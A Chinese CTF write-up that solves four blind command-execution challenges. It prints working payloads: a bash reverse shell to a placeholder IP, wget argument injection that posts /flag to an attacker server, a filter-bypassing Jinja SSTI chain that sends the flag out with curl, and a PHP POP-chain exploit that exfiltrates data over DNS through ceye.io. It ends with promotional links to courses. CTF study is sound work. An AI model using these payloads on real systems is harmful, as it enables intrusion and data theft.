天天看點

無回顯getshell

自從打完Geek challenge後發現現在的很多題都趨于一種無回顯getshell的形式,像反序列化、SSTI、RCE、代碼審計等題目都會出現,記錄幾道複現出的無回顯getshell

where_is_my_FUMO(反彈shell)

<?php
function chijou_kega_no_junnka($str) {
  $black_list = [">", ";", "|", "{", "}", "/", " "];
  return str_replace($black_list, "", $str);
}
​
if (isset($_GET['DATA'])) {
  $data = $_GET['DATA'];
  $addr = chijou_kega_no_junnka($data['ADDR']);
  $port = chijou_kega_no_junnka($data['PORT']);
  exec("bash -c "bash -i < /dev/tcp/$addr/$port"");
} else {
  highlight_file(__FILE__);
} 
           

可以通過數組傳參繞過$data[‘ADDR’],exec處可以反彈shell

1.14.102.22:8115/?DATA[ADDR]=xxx.xxx.xxx.xxx&DATA[PORT]=4001 
           

這樣就可以把shell反彈到對應的ip端口,再用vps監聽對應端口

nc -lvvp 4001 
           

但是因為題目中,bash反彈shell寫法,隻能将指令從攻擊機傳到受害着,執行指令後沒有回顯就需要反彈給可回顯的其他端口

bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/4000 0>&1 
           
無回顯getshell

監聽端口,拿到shell,發現根目錄flag.png

cat flag.png | base64 
           
無回顯getshell

base64轉圖檔得到flag

2021隴原戰疫CheckIN

Go的代碼審計題

wget路由中存在參數注入

無回顯getshell
無回顯getshell
wget?argv=1&argv=--post-file&argv=/flag&argv=http://xxx.xxx.xxx.xxx:4000 
           
無回顯getshell
nc -lvvp 4000 
           
無回顯getshell

ctfshow web372(SSTI)

過濾過濾引号、args、中括号、下劃線、os、花括号、request、數字、print、count

print禁用了,可以curl外帶;count禁用可以用length

payload:

?name=
{% set c=dict(c=z)|join|length %}
{% set cc=dict(cc=z)|join|length %}
{% set ccc=dict(ccc=z)|join|length %}
{% set cccc=dict(cccc=z)|join|length %}
{% set ccccc=dict(ccccc=z)|join|length %}
{% set cccccc=dict(cccccc=z)|join|length %}
{% set ccccccc=dict(ccccccc=z)|join|length %}
{% set cccccccc=dict(cccccccc=z)|join|length %}
{% set ccccccccc=dict(ccccccccc=z)|join|length %}
{% set cccccccccc=dict(cccccccccc=z)|join|length %}
{% set space=(()|select|string|list).pop(ccccc*cc) %}
{% set xhx=(()|select|string|list).pop(ccc*cccccccc) %}
{% set point=(config|string|list).pop(cccccccccc*cc*cccccccccc-ccccccccc) %}
{% set maohao=(config|string|list).pop(cc*ccccccc) %}
{% set xiegang=(config|string|list).pop(-cccccccc*cccccccc) %}
{% set globals=(xhx,xhx,dict(globals=z)|join,xhx,xhx)|join %}
{% set builtins=(xhx,xhx,dict(builtins=z)|join,xhx,xhx)|join %}
{% set open=(lipsum|attr(globals)).get(builtins).open %}
{% set result=open((xiegang,dict(flag=z)|join)|join).read() %}
{% set curlcmd=(dict(curl=z)|join,space,dict(http=z)|join,maohao,xiegang,xiegang,cccc,ccccccccc,point,cc,ccc,cc,point,ccccccc,cccccc,point,c,cccc,maohao,cccc,c-c,c-c,c-c,xiegang,result)|join %} 
{% set ohs=dict(o=z,s=z)|join %}
{% set shell=(lipsum|attr(globals)).get(ohs).popen(curlcmd) %} 
           

baby pop(反序列化)

<?php
class a {
  public static $Do_u_like_JiaRan = false;
  public static $Do_u_like_AFKL = false;
}
class b {
  private $i_want_2_listen_2_MaoZhongDu;
  public function __toString() {
      if (a::$Do_u_like_AFKL) {
          return exec($this->i_want_2_listen_2_MaoZhongDu);
      } else {
          throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
      }
  }
}
class c {
  public function __wakeup() {
      a::$Do_u_like_JiaRan = true;
  }
}
class d {
  public function __invoke() {
      a::$Do_u_like_AFKL = true;
      return "關注嘉然," . $this->value;
  }
}
class e {
  public function __destruct() {
      if (a::$Do_u_like_JiaRan) {
          ($this->afkl)();
      } else {
          throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
      }
  }
}
if (isset($_GET['data'])) {
  unserialize(base64_decode($_GET['data']));
} else {
  highlight_file(__FILE__);
} 
           

b類中有exec函數,可以執行指令,但需要調用__toString__方法

無回顯getshell

d類中return可以觸發,進而調用__toString__,但前提是調用__invoke__

無回顯getshell

可以通過e類($this->afkl)(),讓對象當做函數執行,調用invoke,但需要通過if判斷,預設值是false

無回顯getshell

是以通過c類将其值改為true即可

無回顯getshell

EXP

<?php
class b {
  private $i_want_2_listen_2_MaoZhongDu;
  public function __construct(){
      $this->i_want_2_listen_2_MaoZhongDu="curl `cat /flag|base64`.k5hf4g.ceye.io";
  }
}
class c {
  public $a;
  public function __construct(){
      $this->a=new e();
  }
}
class d {
  public $value;
  public function __construct(){
      $this->value=new b();
  }
}
class e {
  public $afkl;
  public function __construct(){
      $this->afkl=new d();
  }
}
$a=new c();
echo base64_encode(serialize($a)); 
           

這裡用的是ceye,因為dnslog不識别大小寫得到的base編碼無法正常解密

無回顯getshell

base64解密得到flag

網絡安全成長路線圖

這個方向初期比較容易入門一些,掌握一些基本技術,拿起各種現成的工具就可以開黑了。不過,要想從腳本小子變成hei客大神,這個方向越往後,需要學習和掌握的東西就會越來越多,以下是學習網絡安全需要走的方向:

無回顯getshell
無回顯getshell
# 網絡安全學習方法
           

​ 上面介紹了技術分類和學習路線,這裡來談一下學習方法:

​ ## 視訊學習

​ 無論你是去B站或者是油管上面都有很多網絡安全的相關視訊可以學習,當然如果你還不知道選擇那套學習,我這裡也整理了一套和上述成長路線圖挂鈎的視訊教程,完整版的視訊已經上傳至CSDN官方,朋友們如果需要可以點選這個連結免費領取。網絡安全重磅福利:入門&進階全套282G學習資源包免費分享!

繼續閱讀